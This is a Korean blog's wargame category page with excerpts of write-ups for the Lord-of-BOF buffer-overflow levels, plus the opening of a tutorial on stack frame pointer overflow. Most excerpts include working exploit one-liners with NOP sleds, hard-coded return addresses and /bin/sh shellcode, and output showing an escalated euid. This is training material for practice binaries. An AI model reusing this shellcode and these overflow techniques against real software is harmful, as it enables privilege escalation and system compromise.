본문 바로가기

Wargame

(35)
orge -> troll [orge@localhost tmp]$ rm -rf ./* [orge@localhost tmp]$ ln -s ../asdf/a.out `python -c 'print "\x90"*1000 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` ln: ������������������������������������������������������������������������������������������..
darkelf -> orge argv[0] 체크가 추가되었다.하지만 전에 썼던 방범과는 무관한 제한이므로 전 페이로드를 그대로 쓰도록 하겠다. (argv[2] 이용) [darkelf@localhost tmp]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "\x90"*44 + "\xd2\xf7\xff\xbf" + " " +"\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` argv[2] = 0xbffff7b9 ����������������������..
wolfman -> darkelf argv[1] 의 길이체크 및 버퍼 초기화.새로운 인자값을 줌으로서 argv[2] 로 넘어간다.darkelf 소스코드에서 argv[2] 의 주소를 출력하는 코드를 추가하고.그 주소를 바탕으로 RET를 돌리면 쉘을 획득할 수 있다. [wolfman@localhost tmp]$ ls copyelf darkelf darkelf.c [wolfman@localhost tmp]$ ./copyelf `python -c 'print "\x90"*44 + "\xbf"*4 +" "+ "\x90"*1000'` argv[2] = 0xbffff85a ������������������������������������������������ Segmentation fault (core dumped) [wolfman@localhost..
orc -> wolfman buffer 를 초기화 시키는 게 추가됨.일단 버퍼 + SFP + RET + NOP + SHELLCODE방식으로 버퍼에 넣는것이 아닌, RET 뒤에 NOP 슬라이드와 쉘코드를 넣어야 할듯. 중요한건 bash2 로 해야한다는것bash 는 \xff 를 다르게 인식함. [orc@localhost orc]$ ./wolfman `python -c 'print"\x90"*44 + "\x2c\xfc\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`��������������������������������������������,������..
goblin -> orc 환경변수를 이용할 수 없게 extern char **environ 을 이용해 for(i=0;environ[i];i++)memset(environ[i],0,strlen(environ[i])); 으로 환경변수를 초기화 시켜버린다.그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.아마 스택을 이용하라는 뜻같다. 스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.우리가 이용할 수 있는 크기는 44 므로,NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다. [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\..
cobolt -> goblin 환경변수에 쉘코드를 등록해놓고 Ret 를 환경변수로 돌리는 방식으로 풀었다.이 때, 약간 주의해야 할 점은1. 환경변수 앞에 NOP를 많이 넣을 것.2. RET 에 정확한 환경변수 주소값을 넣지 말고, 약간 주소를 더한 값을 넣을 것. 환경변수 이름의 길이에 따라 주소값이 밀릴 수 있어, 약간 밀린 주소를 써주는 것이 NOP 슬라이드를 타게하는데 용이하다. [cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\x40\x86\xff\xbf"'; cat) | ./goblin ��������������������@��� iduid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502..
gremlin -> cobolt 버퍼에 쉘코드를 넣을 만큼의 충분한 공간이 없으므로, 쉘코드를 RET 뒤에 넣기로 했다. "\x90"*20 + RET(4) + "\x90"*200 + SHELLCODE(25) PAYLOAD./cobolt `python -c 'print "\x90"*20 + [NOP 슬라이드 주소] + "\x90"*200 + SHELLCODE'` hacking exposed
Stack Frame Pointer Overflow -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ::: Stack Frame Pointer Overflow 개념 이해하기 ::: written by naska21 in WiseGuys -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- :: 목차 :: 0x00. 준비하기 0x01. 이해하기 0x02. 마무리 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 0x00. 준비하기 이 문서를 공부 하기 이전에 이 문서를 읽는 사람에겐 스택에 관한 배경 지식..